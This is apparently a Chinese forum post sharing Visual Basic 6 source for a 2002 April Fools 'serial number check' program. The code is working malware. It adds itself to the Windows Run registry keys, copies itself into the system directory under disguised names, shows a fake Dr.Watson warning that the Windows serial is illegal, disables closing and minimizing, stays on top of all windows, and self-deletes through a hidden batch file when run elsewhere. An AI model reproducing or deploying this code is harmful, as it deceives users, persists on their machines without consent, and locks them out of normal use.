序列号检查程序

本程序是2002.4.1号写的，大家应该知道是什么日子吧，原来的想法是可以将程序与TXT关联的，但没时间去修改了。程序跟上次的“辨断你的Windows是正版还是盗版 ”差不多，但这个可以在2K/XP里用的：）

VERSION 5.00
Begin VB.Form frmMain
BorderStyle = 3 'Fixed Dialog
Caption = "Dr.Watson"
ClientHeight = 2190
ClientLeft = 45
ClientTop = 330
ClientWidth = 6120
Icon = "frmMain.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 2190
ScaleWidth = 6120
ShowInTaskbar = 0 'False
StartUpPosition = 1 'CenterOwner
Begin VB.Frame Frame
BorderStyle = 0 'None
Caption = "Frame1"
Height = 2175
Left = 0
TabIndex = 0
Top = 0
Width = 6135
Begin VB.Frame Frame2
BorderStyle = 0 'None
Caption = "Frame2"
Height = 1695
Left = 4560
TabIndex = 11
Top = 1680
Width = 4575
Begin VB.Label Label3
Caption = " 注意：如果Dr.Watson检测到输入的序列号错误，将自动返回上一步。"
Height = 435
Left = 0
TabIndex = 14
Top = 720
Width = 4485
End
Begin VB.Label Label2
AutoSize = -1 'True
Caption = "正在验证序列号的正确性，请稍后..."
Height = 195
Left = 720
TabIndex = 13
Top = 1320
Width = 2835
End
Begin VB.Label Label1
Caption = " 正在验证序列号是否正确，此过程可能要花数分钟时间，同时可能导致计算机停止响应。"
Height = 375
Left = 0
TabIndex = 12
Top = 240
Width = 4575
End
End
Begin VB.Frame Frame1
BorderStyle = 0 'None
Caption = "Frame1"
Height = 1935
Left = -2640
TabIndex = 2
Top = 1200
Width = 4695
Begin VB.TextBox txtBox
Height = 375
Index = 4
Left = 3720
TabIndex = 8
Top = 1080
Width = 615
End
Begin VB.TextBox txtBox
Height = 375
Index = 3
Left = 2880
TabIndex = 7
Top = 1080
Width = 615
End
Begin VB.TextBox txtBox
Height = 375
Index = 2
Left = 2040
TabIndex = 6
Top = 1080
Width = 615
End
Begin VB.TextBox txtBox
Height = 375
Index = 1
Left = 1200
TabIndex = 5
Top = 1080
Width = 615
End
Begin VB.TextBox txtBox
Height = 375
Index = 0
Left = 360
TabIndex = 4
Top = 1080
Width = 615
End
Begin VB.CommandButton cmdSure
Caption = "确定(&O)"
Height = 375
Left = 3240
TabIndex = 3
Top = 1560
Width = 1095
End
Begin VB.Label lblSN
AutoSize = -1 'True
Caption = "请输入正确的序列号："
BeginProperty Font
Name = "MS Sans Serif"
Size = 9.75
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 240
Left = 0
TabIndex = 10
Top = 720
Width = 1800
End
Begin VB.Label lblTips
Caption = " 注意：Dr.Watson检测到非法的Windows序列号，您可以在随机附送的使用手册里找到正确的序列号，或与经销商联系。"
Height = 675
Left = 0
TabIndex = 9
Top = 0
Width = 4785
End
End
Begin VB.PictureBox Picture1
BorderStyle = 0 'None
Height = 495
Left = 240
Picture = "frmMain.frx":000C
ScaleHeight = 495
ScaleWidth = 495
TabIndex = 1
Top = 240
Width = 495
End
End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
''''''''''''''''''''''''''''''''''''''''''''''''''''
' 本程序仅供参考，如造成任何损失本人不负责任。 '
' oicq:102490 '
' e-mail:skydg@21cn.com '
' 主页： http://www.skydg.net '
''''''''''''''''''''''''''''''''''''''''''''''''''''
Option Explicit

'读写注册表
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

'窗体总在最前
Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const HWND_TOPMOST = -1

'查找系统目录
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Const MAX_PATH = 260

'去掉关闭按钮
Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long
Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long

Private Const MF_BYPOSITION = &H400&
Private Const MF_DISABLED = &H2&

Dim ExitButton As Boolean

'取得windows目录
Function GetWinPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetWinPath = ""
End If
End Function

'取得system目录
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
strFolder = String(MAX_PATH, 0)
lngResult = GetSystemDirectory(strFolder, MAX_PATH)
If lngResult <> 0 Then
GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
Else
GetSystemPath = ""
End If
End Function

'文件是否存在
Function FileExists(filename As String) As Integer
On Error Resume Next
Dim i As Integer
i = Len(Dir$(filename))
If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

'延时
Private Sub delay(ByVal n As Single)
Dim tm1 As Single, tm2 As Single
tm1 = Timer
Do
tm2 = Timer
If tm2 < tm1 Then tm2 = tm2 + 86400
If tm2 - tm1 > n Then Exit Do
DoEvents
Loop
End Sub

'去掉关闭按钮
Private Sub DisableX(Frm As Form)
Dim hMenu As Long, nCount As Long
hMenu = GetSystemMenu(Frm.hwnd, 0)
nCount = GetMenuItemCount(hMenu)
Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
DrawMenuBar Frm.hwnd
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim mePath As String
Dim hKey As Long
Dim strCmd As String
Dim strRunCmd As String

mePath = App.Path
If Right(mePath, 1) <> "/" Then mePath = mePath & "/"

If App.PrevInstance Then End

'写入注册表
strRunCmd = "internet.exe"
Call RegCreateKey(HKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/Run", hKey)
Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
Call RegCloseKey(hKey)

strRunCmd = "msints.exe"
Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software/Microsoft/Windows/CurrentVersion/Run", hKey)
Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
Call RegCloseKey(hKey)

'复制自己
Dim SourceFile, DestinationFile
If FileExists(GetSystemPath & "/internet.exe") = 0 Then
SourceFile = mePath & App.EXEName & ".exe"
DestinationFile = GetSystemPath & "/internet.exe"
FileCopy SourceFile, DestinationFile

SourceFile = mePath & App.EXEName & ".exe"
DestinationFile = GetSystemPath & "/msints.exe"
FileCopy SourceFile, DestinationFile
End If

'检查程序是否在系统目录下
If UCase$(App.Path) <> UCase$(GetSystemPath) Then
MsgBox "程序代码不完整或系统出现错误，程序可能已被病毒破坏。", vbOKOnly
Open GetWinPath & "/killme.bat" For Append As #1
Print #1, "@echo off"
Print #1, "dir " & GetSystemPath & " /w"
Print #1, "del " & mePath & App.EXEName & ".exe"
Print #1, "del " & GetWinPath & "/killme.bat"
Close #1
Shell "killme.bat", vbHide
End
End If

'后备程序
If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End

Frame1.Top = 120
Frame1.Left = 1080
Frame2.Top = 120
Frame2.Left = 1080
Frame2.Visible = False

Call DisableX(Me)
'窗体总在最前
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top / Screen.TwipsPerPixelY, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY, 0
End Sub

Private Sub Form_Resize()
'程序被最小化时返回初始状态
If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
'禁止程序退出
If Not ExitButton Then Cancel = True
End Sub

Private Sub cmdSure_Click()
Frame1.Visible = False
Frame2.Visible = True
delay 30
Frame1.Visible = True
Frame2.Visible = False
End Sub

Private Sub Label2_Click()
End
End Sub